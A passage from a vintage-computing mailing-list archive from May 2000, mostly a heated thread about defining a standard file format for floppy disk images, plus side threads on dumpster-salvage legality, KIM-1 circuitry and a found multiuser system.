always figured the reason for the restriction was dumb boot PROMs, which only know how to do programmed I/O to the FDC, and 8" DD comes in too fast for typical 8-bit CPUs of the time to handle with PIO. If the boot PROM on a particular system is smart enough to set up DMA, no need to require SD. John Wilson D Bit From richard at idcomm.com Tue May 30 14:24:18 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:07 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <001901bfca6c$a76424a0$0400c0a8@EAHOME> It must be tough to process such difficult issues with a single flip-flop . . . See my comments below, plz. Dick ----- Original Message ----- From: Sellam Ismail To: Sent: Tuesday, May 30, 2000 8:51 AM Subject: Re: Defining Disk Image Dump Standard > On Tue, 30 May 2000, Richard Erlacher wrote: > > > It's silly to mix these two desirables. They're not bound together. Let's > > not require something that's counterproductive as this is. If you make a > > distribution standard for media, then use it for distribution. Let the OS > > determine what's suitable for booting. > > Dick, once again with raging gradeur you have brought forth an entirely > non-sequitur point of issue to the discussion at hand. Assuming you did > understand what this thread is about, how does one separate the operating > system from the programs and data on the disk (across disparate platforms) > to be able to make a determination as to what becomes part of the archive? > The way you separate the operating system from the executables is by never, Never, NEVER, mixing them on the same medium, particularly if it's intended for dissemination. If the platforms are disparate, you certainly don't need to distribute the OS. A generalized and "universal" medium has to be just that. Keep in mind that what equipment was available back in the old days when these old machines were relevant doesn't matter. What you need is a way to put the material you wish to convey to some other party on a medium which is likely to be readable today and in the future by the intended destinee. I'd not be surprised to find that every diskette you own has an OS on it, else you wouldn't frame this issue as you have. For you, though not for anyone else, I'd recommend you get a chisel and put your distribution data on a stone slab. Most everyone else is smart enough to figure out how to avoid writing the OS to a diskette or tape. I'd have thought you had run into the problems with media exchange long enough ago to realize that since it's YOUR computer, YOU can tell it what to write to the medium, just as YOU can tell it how that material is to be organized and how it is to be represented. IIRC YOU were the primary opponent when this sort of issue was raised with respect to documentation archival. You opposed the common and virtually universally accepted file format used throughout the industry for exchange of documents. You wanted to reduce everything to bitmapped images 100x as large and 1% as easy to use as PDF's, just so you didn't have to use a PC to process the data into something your odd-ball system could display. Now you want to do something else that's quite similar. I'm just raising the issue that not every system has floppy disks or mag tape, and, certainly fewer have both. Then there's the issue of how to read them on system A when written on system B. The latter's inherently solvable, but if you want to archive data about or useful with a given OS, you don't have to write the data to a medium capable of reading or interpreting the OS image. The primary concern is finding a medium that's available so whoever wants to participate in the process can get it here, now, and in the future, and not by digging in a dumpster. That rules out floppy disk, mag-tape, and a lot of other media, since their longevity on the market is coming to an end. If you don't deal with that issue, you'll have to start over again with it in another 5 years. The other warts you design into the exchange process won't matter if you can't rely on getting the physical media and both generating and accepting it at each end of the process. As far as I'm concerned, until you resolve the media issue, the format of the content is a non-issue. Have you tried to read an LS120 diskette on your Apple-][ lately? > > No, I really don't want to hear your reply, but something tells me you > have nothing better to do anyway. > It's just as I said before: You simply want to transmit, but you don't want to receive. > > Sellam International Man of Intrigue and Danger > -------------------------------------------------------------------------- ----- > Looking for a six in a pile of nines... > > Coming soon: VCF 4.0! > VCF East: Planning in Progress > See http://www.vintage.org for details! > > From richard at idcomm.com Tue May 30 14:42:02 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:07 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <002401bfca6f$3378d240$0400c0a8@EAHOME> Clearly, I was insufficiently clear about what I meant. Bootability is not an issue when exchange of media is the goal. I know there are systems that boot from EITHER density and will do so from either single-side or double-sided media, since I have a couple of them running. There are even systems that will boot from single-sided or double-side, either FM or MFM, and either 5-1/4" or 8" diskettes, e.g. my CCS system, though it was not equipped with a booter that did that when I got it. More importantly, however, I remember that in the CP/M days, but prior to the TRS-80, CP/M software was distributed on "standard" 8" SSSD media with no trace of the OS on them, and that arrangement worked perfectly well. The problem of media exchange was not a problem until the 5-1/4" diskettes became popular enough to exclude 8" drives and media from a large share of the systems on the market. What puzzled me was why, given that many systems were quite capable of handling various media, they didn't write their code so it would load a booter from the first sector, and make that booter deal with the low-level details of the medium. My old SMS controller would read nearly any type of sector it could write with a "read-sector" command. It didn't matter whether it was 128-bytes or 2048, nor did it matter whether it was FM or MFM. Just as an aside, I recently encountered a datasheet for the WD 1773 FDC (similar to 1770/72). Do you know of any systems in which it was used? Dick ----- Original Message ----- From: Don Maslin To: Sent: Tuesday, May 30, 2000 1:01 PM Subject: Re: Defining Disk Image Dump Standard > > > On Tue, 30 May 2000, Richard Erlacher wrote: > > > I never understood why the double density CP/M diskettes were not bootable, > > and why "distribution-standard" diskettes had to be bootable. These are two > > different features, and what's important about the "standard" is not that > > it's bootable but that it's defined so as to be universally readable. > > But that is/was not always true! There were a number of 8" CP/M systems > that used bootable DD formats, and most all 5.25" CP/M systems were in a > bootable DSDD format. > > 8" SSDD: > Altos Avtek > Heurikon MLZ-90 > Ithaca Intersystems > Octagon 8/16 > Ohio Scientific Turbo > Tektronix 8 > Vista A-800 > > 8" DSDD: > Heath Magnolia > Heurikon MLZ-90 > Ithaca Intersystems > MDS-80 > Prolog APL-2 > System Group 2800 > W.J. Engineering > > In the 5.25" bunch, the two obvious ones that immediately come to mind > as using the SD boot track are Osborne and Xerox. > > - don > > > The thing that made 5-1/4" "standard" diskettes unachievable back in the > > CP/M days was that people couldn't let go of the notion that every diskette > > had to be bootable. Frankly, I got fine mileage out of diskettes which > > couldn't be booted, yet I never had a problem booting up. > > > > It's silly to mix these two desirables. They're not bound together. Let's > > not require something that's counterproductive as this is. If you make a > > distribution standard for media, then use it for distribution. Let the OS > > determine what's suitable for booting. > > > > Dick > > > > ----- Original Message ----- > > From: Sellam Ismail > > To: > > Sent: Tuesday, May 30, 2000 12:50 AM > > Subject: Re: Defining Disk Image Dump Standard > > > > > > > > > > Let's start sort of from scratch here. > > > > > > So far we have the following (high level) criterion for a disk archive > > > standard: > > > > > > 1. Host computer type (2 bytes allowing up to 65536 models to be > > > specified) > > > 2. Track format (host computer specific) > > > 3. Sector format (single-density, double-density, etc) > > > 4. Sector data format - this will specify what format the archived sector > > > is in (raw data? logical bytes?) > > > 5. Bytes per sector > > > 6. Bits per byte > > > > > > What else? > > > > > > I will be the first to say that this is may not be very logically > > > structured. What I am attempting to do is give a suggestion for a high > > > level header that identifies what each chunk of data in the archive can > > > represent. In this way, disks that are formatted with several different > > > formats can be described. > > > > > > I think what this may evolve into is a Data Definition Language. The DDL > > > will be encoded along with the disk data and will describe the format of > > > the data on the disk as it is being read. > > > > > > This comes back to the fact that utilities will have to be written for > > > each computer we decide to support (I assume it will be all of them) to > > > both read and write native diskettes. I also assume the data will be > > > passed between the archive host and the target machine via serial link? > > > > > > In case my mostly random thoughts above don't make sense, here is what I > > > would have in mind for the Apple ][: > > > > > > The disk can be read in either standard, logical format (13 or 16 sectors > > > per track, 256 bytes per sector) or "raw" format (raw disk bytes are read > > > from the track). There would also have to be format descriptions for > > > specially formatted tracks such as the 18-sector type I mentioned. > > > > > > As for reading the raw bytes, the Apple ][ had what were called > > > "synchronization" bytes, which were 10 bits long, the two extra bits being > > > used to synchronize the head with the start of the track. I could go into > > > a technical discussion of this but would have to pull out some reference > > > material to refresh my memory of how it all worked. Anyway, these bytes > > > would have to be specially encoded in the archive. > > > > > > Sellam International Man of Intrigue and > > Danger > > > -------------------------------------------------------------------------- > > ----- > > > Looking for a six in a pile of nines... > > > > > > Coming soon: VCF 4.0! > > > VCF East: Planning in Progress > > > See http://www.vintage.org for details! > > > > > > > > > > > From richard at idcomm.com Tue May 30 14:47:51 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:07 2005 Subject: Defining Disk Image Dump Standard References: <001901bfca47$48077400$0400c0a8@EAHOME> <20000530152033.A17084@dbit.dbit.com> Message-ID: <002701bfca6f$fb815140$0400c0a8@EAHOME> Yes, and what several vendors recommended so their "dumb" loader prom would work with DD media was to write the boot tracks in SD. Unfortunately I never found one that provided a utility to do that for you, so I had to create my own formatter with which to do that. It always bothered me to take that approach, so I ultimately fixed my CCS box to do it "correctly" in my view. With a 4 MHz processor it was no problem to transfer either single or double density. The DMA was only needed if you ran a slower CPU. However, if you needed to read the WORDSTAR software from distribution diskettes, it was not necessary to put any low-level OS-specific materials on the distribution medium. It didn't need to boot from MicroPro's diskettes. Dick ----- Original Message ----- From: John Wilson To: Sent: Tuesday, May 30, 2000 1:20 PM Subject: Re: Defining Disk Image Dump Standard > On Tue, May 30, 2000 at 12:01:30PM -0700, Don Maslin wrote: > >But that is/was not always true! There were a number of 8" CP/M systems > >that used bootable DD formats, and most all 5.25" CP/M systems were in a > >bootable DSDD format. > > I always figured the reason for the restriction was dumb boot PROMs, which > only know how to do programmed I/O to the FDC, and 8" DD comes in too fast > for typical 8-bit CPUs of the time to handle with PIO. If the boot PROM on > a particular system is smart enough to set up DMA, no need to require SD. > > John Wilson > D Bit > From peter at joules.org Tue May 30 10:25:28 2000 From: peter at joules.org (Peter Joules) Date: Sun Feb 27 18:52:07 2005 Subject: Get up on the wrong side of the bed this morning? [Was: Re: N otes on repa... In-Reply-To: <8763AE987517D2118C0500A0C9AB234C2BAD62@TEGNTSERVER> References: <8763AE987517D2118C0500A0C9AB234C2BAD62@TEGNTSERVER> Message-ID: <7RH3GyAo19M5EwKX@joules0.demon.co.uk> In article <8763AE987517D2118C0500A0C9AB234C2BAD62@TEGNTSERVER>, Douglas Quebbeman writes > >Not sure what country you live in, but if you're in the US, then >regardless of whatever munincipal laws have been enacted, the U.S. >Supreme Court has ruled (on multiple occaisions) that refuse is >exactly that- stuff that people no longer want. I am in the UK. The attitude of the legislature here is that property belongs to someone unless they explicitly give it to you. This was highlighted in a case a few years ago when a refuse collector was convicted of stealing from the council which employed him for salvaging stuff which had been thrown out by householders. The ruling was that, once refuse was put out for collection it became the property of the council. -- Regards Pete From Hans.Franke at mch20.sbs.de Tue May 30 15:08:27 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:52:07 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <002701bfca6f$fb815140$0400c0a8@EAHOME> Message-ID: <39343BDB.19328.2BA8AA9@localhost> > Yes, and what several vendors recommended so their "dumb" loader prom would > work with DD media was to write the boot tracks in SD. Unfortunately I > never found one that provided a utility to do that for you, so I had to > create my own formatter with which to do that. It always bothered me to > take that approach, so I ultimately fixed my CCS box to do it "correctly" in > my view. With a 4 MHz processor it was no problem to transfer either single > or double density. The DMA was only needed if you ran a slower CPU. Well, within some unixes this was fairly common and the default formating utils would do the trick... Side 0 / Track 0 has been done in SD, while the rest was DD. Nice history fact: The SIEMENS PC-D, a 186 DOS machine, was due the boot ROM still able to boot a SD DOS floppy _and_ the BIOS did support DOS disks with T/S 0/0 as SD... I never found a disk using this feature other than a special diagnostics disk made to test it... Gruss H. -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From donm at cts.com Tue May 30 15:29:21 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:52:07 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <002401bfca6f$3378d240$0400c0a8@EAHOME> Message-ID: On Tue, 30 May 2000, Richard Erlacher wrote: > Clearly, I was insufficiently clear about what I meant. Bootability is not > an issue when exchange of media is the goal. I know there are systems that > boot from EITHER density and will do so from either single-side or > double-sided media, since I have a couple of them running. There are even > systems that will boot from single-sided or double-side, either FM or MFM, > and either 5-1/4" or 8" diskettes, e.g. my CCS system, though it was not > equipped with a booter that did that when I got it. > > More importantly, however, I remember that in the CP/M days, but prior to > the TRS-80, CP/M software was distributed on "standard" 8" SSSD media with > no trace of the OS on them, and that arrangement worked perfectly well. The > problem of media exchange was not a problem until the 5-1/4" diskettes > became popular enough to exclude 8" drives and media from a large share of > the systems on the market. > > What puzzled me was why, given that many systems were quite capable of > handling various media, they didn't write their code so it would load a > booter from the first sector, and make that booter deal with the low-level > details of the medium. My old SMS controller would read nearly any type of > sector it could write with a "read-sector" command. It didn't matter > whether it was 128-bytes or 2048, nor did it matter whether it was FM or > MFM. > > Just as an aside, I recently encountered a datasheet for the WD 1773 FDC > (similar to 1770/72). Do you know of any systems in which it was used? No, sorry, not off the top of my head. - don > Dick > > ----- Original Message ----- > From: Don Maslin > To: > Sent: Tuesday, May 30, 2000 1:01 PM > Subject: Re: Defining Disk Image Dump Standard > > > > > > > > On Tue, 30 May 2000, Richard Erlacher wrote: > > > > > I never understood why the double density CP/M diskettes were not > bootable, > > > and why "distribution-standard" diskettes had to be bootable. These are > two > > > different features, and what's important about the "standard" is not > that > > > it's bootable but that it's defined so as to be universally readable. > > > > But that is/was not always true! There were a number of 8" CP/M systems > > that used bootable DD formats, and most all 5.25" CP/M systems were in a > > bootable DSDD format. > > > > 8" SSDD: > > Altos Avtek > > Heurikon MLZ-90 > > Ithaca Intersystems > > Octagon 8/16 > > Ohio Scientific Turbo > > Tektronix 8 > > Vista A-800 > > > > 8" DSDD: > > Heath Magnolia > > Heurikon MLZ-90 > > Ithaca Intersystems > > MDS-80 > > Prolog APL-2 > > System Group 2800 > > W.J. Engineering > > > > In the 5.25" bunch, the two obvious ones that immediately come to mind > > as using the SD boot track are Osborne and Xerox. > > > > - don > > > > > The thing that made 5-1/4" "standard" diskettes unachievable back in the > > > CP/M days was that people couldn't let go of the notion that every > diskette > > > had to be bootable. Frankly, I got fine mileage out of diskettes which > > > couldn't be booted, yet I never had a problem booting up. > > > > > > It's silly to mix these two desirables. They're not bound together. > Let's > > > not require something that's counterproductive as this is. If you make > a > > > distribution standard for media, then use it for distribution. Let the > OS > > > determine what's suitable for booting. > > > > > > Dick > > > > > > ----- Original Message ----- > > > From: Sellam Ismail > > > To: > > > Sent: Tuesday, May 30, 2000 12:50 AM > > > Subject: Re: Defining Disk Image Dump Standard > > > > > > > > > > > > > > Let's start sort of from scratch here. > > > > > > > > So far we have the following (high level) criterion for a disk archive > > > > standard: > > > > > > > > 1. Host computer type (2 bytes allowing up to 65536 models to be > > > > specified) > > > > 2. Track format (host computer specific) > > > > 3. Sector format (single-density, double-density, etc) > > > > 4. Sector data format - this will specify what format the archived > sector > > > > is in (raw data? logical bytes?) > > > > 5. Bytes per sector > > > > 6. Bits per byte > > > > > > > > What else? > > > > > > > > I will be the first to say that this is may not be very logically > > > > structured. What I am attempting to do is give a suggestion for a > high > > > > level header that identifies what each chunk of data in the archive > can > > > > represent. In this way, disks that are formatted with several > different > > > > formats can be described. > > > > > > > > I think what this may evolve into is a Data Definition Language. The > DDL > > > > will be encoded along with the disk data and will describe the format > of > > > > the data on the disk as it is being read. > > > > > > > > This comes back to the fact that utilities will have to be written for > > > > each computer we decide to support (I assume it will be all of them) > to > > > > both read and write native diskettes. I also assume the data will be > > > > passed between the archive host and the target machine via serial > link? > > > > > > > > In case my mostly random thoughts above don't make sense, here is what > I > > > > would have in mind for the Apple ][: > > > > > > > > The disk can be read in either standard, logical format (13 or 16 > sectors > > > > per track, 256 bytes per sector) or "raw" format (raw disk bytes are > read > > > > from the track). There would also have to be format descriptions for > > > > specially formatted tracks such as the 18-sector type I mentioned. > > > > > > > > As for reading the raw bytes, the Apple ][ had what were called > > > > "synchronization" bytes, which were 10 bits long, the two extra bits > being > > > > used to synchronize the head with the start of the track. I could go > into > > > > a technical discussion of this but would have to pull out some > reference > > > > material to refresh my memory of how it all worked. Anyway, these > bytes > > > > would have to be specially encoded in the archive. > > > > > > > > Sellam International Man of Intrigue > and > > > Danger > > > > > -------------------------------------------------------------------------- > > > ----- > > > > Looking for a six in a pile of nines... > > > > > > > > Coming soon: VCF 4.0! > > > > VCF East: Planning in Progress > > > > See http://www.vintage.org for details! > > > > > > > > > > > > > > > > > > From ryan at inc.net Tue May 30 15:41:01 2000 From: ryan at inc.net (Ryan K. Brooks) Date: Sun Feb 27 18:52:07 2005 Subject: Kim-1 analog portions Message-ID: <3934275D.1585720@inc.net> So, I just lost an auction for a KIM-1... But this prompted me to ask a question: In the picture of the KIM on ebay: http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=337577016 There's a lot of analog stuff (mostly large caps from what I can tell) in the lower left. Is this power supply stuff? Tape stuff? I've got a Sym-1, and doesn't have nearly as much analog on it. Just curious, Ryan Brooks ryan@inc.net From Hans.Franke at mch20.sbs.de Tue May 30 15:50:52 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:52:07 2005 Subject: Kim-1 analog portions In-Reply-To: <3934275D.1585720@inc.net> Message-ID: <393445CC.12187.2E15F84@localhost> > So, I just lost an auction for a KIM-1... But this prompted me to ask > a question: I guess I should sell mine .... > There's a lot of analog stuff (mostly large caps from what I can tell) > in the lower left. Is this power supply stuff? Tape stuff? I've > got a Sym-1, and doesn't have nearly as much analog on it. Most stuff is good for the Tape interface - also some for the RESET/NMI/Singlestep logic... Power is completly external - you have to supply DC. Gruss H. -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From mikeford at socal.rr.com Tue May 30 15:52:23 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:07 2005 Subject: Get up on the wrong side of the bed this morning? In-Reply-To: <200005301539.LAA07607@bg-tc-ppp912.monmouth.com> References: <8763AE987517D2118C0500A0C9AB234C2BAD62@TEGNTSERVER> from Douglas Quebbeman at "May 30, 2000 09:33:00 am" Message-ID: >> > Once it is in the skip, anyone taking it away, other than the waste >> > disposal people, is stealing it. This has already been made clear to >> > me. >> >> Not sure what country you live in, but if you're in the US, then >> regardless of whatever munincipal laws have been enacted, the U.S. >> Supreme Court has ruled (on multiple occaisions) that refuse is >> exactly that- stuff that people no longer want. >> >Well, the rule depends. If it's a commercial dumpster on >private property you're tresspassing and stealing if it's in >the dumpster. At the curb it's on public property and avaiable. If it didn't have value you wouldn't be taking it now would you? Here in the peoples republic of California, Orange division once it hits the curb is the legal property of the city, which gets a check from the waste company based on aluminum cans etc. Scavenging is illegal, and they even send out magnets with a hotline number to call for reporting it. OTOH I had a little dumpster diving in mind for this afternoon. From mikeford at socal.rr.com Tue May 30 15:52:22 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:07 2005 Subject: Games: was Re: Get up on the wrong side of the bed ... In-Reply-To: <3933DC66.8AA07D2F@rain.org> References: Message-ID: >Different strokes for different folks; what do we learn with a flame war? Email filters. From foo at siconic.com Tue May 30 15:17:59 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:07 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <001901bfca6c$a76424a0$0400c0a8@EAHOME> Message-ID: On Tue, 30 May 2000, Richard Erlacher wrote: > The way you separate the operating system from the executables is by never, > Never, NEVER, mixing them on the same medium, particularly if it's intended > for dissemination. If the platforms are disparate, you certainly don't need Ok, Mr. Wizard. Build a time machine, travel back in time, and urge all the various computer manufacturers to never, NEVER mix their OS with the rest of the program space on the disk. Fortunately, we are not trying to revise the reality of our world, but are merely trying to deal with what it has become, which is a much simpler procedure. At this point I would say it's time for Dick's nap and be done with him but it seems he has a few more hundred lines of useless spewage as usual. > when these old machines were relevant doesn't matter. What you need is a > way to put the material you wish to convey to some other party on a medium > which is likely to be readable today and in the future by the intended > destinee. Really? I thought we were trying to build a perpetual motion machine here. Thanks for getting me back on track, Dick! > I'm just raising the issue that not every system has floppy disks or mag > tape, and, certainly fewer have both. Then there's the issue of how to read Well, correct me if I'm wrong, but I *THINK*, not sure, but I THINK, we were, in fact, talking about creating floppy disk archives. Correct me if I'm wrong, Dick. > them on system A when written on system B. The latter's inherently > solvable, but if you want to archive data about or useful with a given OS, > you don't have to write the data to a medium capable of reading or > interpreting the OS image. The primary concern is finding a medium that's Dick, why do you propose problems that you just end up arguing against? Are you even aware that there are other people on this mailing list that you are communicating with, or do you think this entire conversation is going on in your head? No one ever proposed what you are railing against right now. Are you insane? No, really. I'm being serious. Do you suffer from a mental condition? > It's just as I said before: You simply want to transmit, but you don't want > to receive. No, Dick. The problem here is you are transmitting, then receiving it yourself, getting angry at what you read, and then associating it with whatever hapless fool happens to be in the vicinity at the moment, and then blaming them for it. EARTH TO DICK: GET A CLUE. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From ard at p850ug1.demon.co.uk Tue May 30 13:05:43 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:07 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: from "Sellam Ismail" at May 29, 0 11:19:12 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1689 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000530/f3bd1079/attachment.ksh From ard at p850ug1.demon.co.uk Tue May 30 13:16:31 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:07 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: from "Sellam Ismail" at May 29, 0 11:50:03 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2261 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000530/4faf737b/attachment.ksh From foo at siconic.com Tue May 30 15:20:24 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:07 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: <002401bfca6f$3378d240$0400c0a8@EAHOME> Message-ID: Ok, since certain individual(s) don't seem to understand what this project is about, what we are discussing here is DEFINING A STANDARD FILE FORMAT FOR ARCHIVING FLOPPY DISKETTES FROM DIFFERENT COMPUTING PLATFORMS. It is, amazingly, the very same project that was proposed when this discussion first began. Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Tue May 30 15:34:24 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:07 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: Message-ID: On Tue, 30 May 2000, Tony Duell wrote: > [Odd Apple ][ format] > > This 18-sector format provided two benefits: 1) increased storage space > > and 2) a form of copy protection. > > In what way is 'copy protection' a benefit? >From Broderbund's perspective it was a benefit :) Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From mikeford at socal.rr.com Tue May 30 16:39:16 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:07 2005 Subject: A moment of silence... In-Reply-To: <3934020A.10324.1D8B212@localhost> References: <3932DEA9.8720.146821E@localhost> Message-ID: Terribly sad they are closing, but who is getting all their stuff? Last time I was in Halted, most of the prices seemed a bit silly, but I agree the place had character. From rdd at smart.net Tue May 30 16:41:33 2000 From: rdd at smart.net (R. D. Davis) Date: Sun Feb 27 18:52:08 2005 Subject: Unusual weekend find In-Reply-To: <2921A6D846E9D31182490050040DC0D6682DCA@hoexc101.hotoffice.com> Message-ID: On Tue, 30 May 2000, Steve Robertson wrote: > The system is a "Lasor Computer" (note the spelling) is housed in a > desk-sized cabinent and weighs about 300 LBS. I don't know if it's true but, [...] > It has two 8" floppies, 2 10-MB hard drives, and 16 serial ports. All the > major components are mounted in 19" trays so, supposedly everything could go Nice find! Wow, that weighs more than my Dynabyte 5100 system! Are those 8" hard drives? Out of curiosity, has anyone else had the experience of finding 8" hard drives to be noisier than 14" hard drives? > According to the DOCs, the system runs "MLX" which stands for "Multiuser > Executive". supposedly, it can read CPM formatted disks. I'm not sure if it > will boot CPM or execute CPM apps though. Could that be renamed MP/M or a variant of MP/M? > When I tried to boot the system, it got a failure on the boot drive so, I > had to do some microsurgery. Seems the heads had stuck to the platters and > it took a little coaxing to get the platters spinning again. Hopefully, I > didn't hurt the platters too much. What's needed is a good, inexpensive, portable "clean room box." A while back, I saw one of these somewhere, but it wasn't something marketed to hobbyists and I doubt that it was inexpensive. It was basically a plexiglas box with filtered air and attached gloves. Hmmm, I wonder... some pieces of alumimum, plexiglas, glue, rubber gloves, HEPA filter and strong exhaust fan... cheap mini clean room! Ok, not perfect, but worth a try for fixing some hard disk problems when a drive is inoperable? > I finally did get the system to boot OK but, now I'm getting a "Password" Ok, not MP/M apparently, or so it appears. -- R. D. Davis rdd@perqlogic.com http://www.perqlogic.com/rdd 410-744-4900 From mikeford at socal.rr.com Tue May 30 16:55:20 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: References: from "Sellam Ismail" at May 29, 0 11:19:12 pm Message-ID: >[Odd Apple ][ format] >> This 18-sector format provided two benefits: 1) increased storage space >> and 2) a form of copy protection. > >In what way is 'copy protection' a benefit? People actually pay for a copy of the software to use it. Weird huh? From foo at siconic.com Tue May 30 15:56:09 2000 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: Message-ID: On Tue, 30 May 2000, Tony Duell wrote: > > 1. Host computer type (2 bytes allowing up to 65536 models to be > > specified) > > 1a. Host computer format, to allow for machines that support several native > formats (e.g. PERQ POS floppy/PERQ PNX floppy/PERQ interchange floppy) In what ways do the formats differ? Are you talking logical format or physical format? If it is physical then I would agree. If it's logical then that's more detail than we want to get into. We only need concern ourselves to the level of organized blocks of data on the diskette (i.e. sectors & tracks). > > 2. Track format (host computer specific) > I assume things like the interleave order go in here. Yes, see followup posting after Jim's input. > It's probably best to regard the sector as a stream of bits, suitably > packed into the bytes on whatever machine is doing the imaging But only if necessary. I think it would be far more useful to simply store the bytes of each sector on the original disk. I would only want to archive the bit stream of a track if the format was unusual. > > 5. Bytes per sector > > 6. Bits per byte > > Isn't that rather defined by 1 and 2 above? Not necessarily. It's entirely possible to write 20-bit bytes on the Apple Disk ][ hardware if one wanted for instance. Not that I know of anyone who's ever done that. I included the bits-per-byte field at the behest of someone (sorry, forgot who) who suggested that a disk "byte" is not always "eight bits". > Wouldn't it be possible to store the data from a particular track in > several formats? As logical sectors, or as a stream of bytes _in the same > image file_. Using a pseudo-notation : That is what I am advocating the standard should be able to support, although I hadn't thought about being able to support the same image in two separate formats (logical sectors vs. physical bytes) in the same archive. > Machine : Apple ][ > Machine-specifc format : DOS 3.3 16 sector disk, standard format > Track layout : 35 tracks, 1 head > Track 0 Hd 0: Logical data. Sectors are 1 (GCR), 3 (GCR), > 5(GCR),...2(GCR),4(GCR),6(GCR)... (or whatever the > interleave order is) > Track 0, Hd 0, Sector 0 : > Track 0, Hd 0, Sector 1 : > etc > Track 0 Hd 0 Physical data : on the disk. This would include GCR sync > bytes, FM/MFM clock and data pulses, etc. > Basically saying: Pulse, gap of 250uS, pulse, > gap of 500us, etc> > > Repeat for track 1, etc.... I would be more inclined to create two separate images for each format. But that's just my preferred method of organization. As far as encoding the level of detail that Tony suggests above, I don't know that you'd want to have a header for each sector in the archive image. Unless there was a header for each sector that perhaps contained the following: Track/Head/Sector/Density/#Bytes/ (...etc...) In this way you could specify a change in the format of each sector and it would be very flexible. There would be an 8-12 byte header for each sector. It would then render some of the fields stored in the overall header worthless then. Another way to do this is to have a chain of Description Headers that are stored at the beginning of each "chunk" of similar disk data. So for a standard diskette, you'd need only one header that describes the format for the entire disk (35 tracks, 16 sectors per track, 256 bytes per sector, etc). If the disk format varies on the disk, say track 0 is 16 sectors and tracks 1-34 are 18 sectors, you would have the header for the first track including an offset to the beginning of the next Description Header, then the first track's worth of data, then the next Description Header and the offset link to the next one, followed by the chunk of sectors defined by this header, etc. Know what I mean? Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From richard at idcomm.com Tue May 30 16:55:53 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:08 2005 Subject: Defining Disk Image Dump Standard References: Message-ID: <003301bfca81$d4676100$0400c0a8@EAHOME> Just because system makers wanted to reduce the number of disks the sent out with their systems doesn't mean that their mistake has to be repeated. Just because they used to do it wrong, perhaps for a good reason (I'm sure they thought economics made their reason good). If you're trying to send a bit of information, and this is information, isn't it, you need merely find a way to distribute the information. You don't need to include unnecessary pieces of stuff that, in many cases, doesn't even belong to you. Are you saying that you don't know how to write a diskette without including the OS on it? see other comments below, plz. Dick ----- Original Message ----- From: Sellam Ismail To: Sent: Tuesday, May 30, 2000 2:17 PM Subject: Re: Defining Disk Image Dump Standard > On Tue, 30 May 2000, Richard Erlacher wrote: > > > The way you separate the operating system from the executables is by never, > > Never, NEVER, mixing them on the same medium, particularly if it's intended > > for dissemination. If the platforms are disparate, you certainly don't need > > Ok, Mr. Wizard. Build a time machine, travel back in time, and urge all > the various computer manufacturers to never, NEVER mix their OS with the > rest of the program space on the disk. Fortunately, we are not trying to > revise the reality of our world, but are merely trying to deal with what > it has become, which is a much simpler procedure. > > At this point I would say it's time for Dick's nap and be done with him > Too late! I already had my nap. > > but it seems he has a few more hundred lines of useless spewage as usual. > > > when these old machines were relevant doesn't matter. What you need is a > > way to put the material you wish to convey to some other party on a medium > > which is likely to be readable today and in the future by the intended > > destinee. > > Really? I thought we were trying to build a perpetual motion machine > here. Thanks for getting me back on track, Dick! > Well, what it looked like was exactly that, a perpetual motion machine. You'd perpetually be trying to deal with all the superflous information included due to your inability NOT to include the OS on a diskette. > > > > > > > I'm just raising the issue that not every system has floppy disks or mag > > tape, and, certainly fewer have both. Then there's the issue of how to read > > Well, correct me if I'm wrong, but I *THINK*, not sure, but I THINK, we > were, in 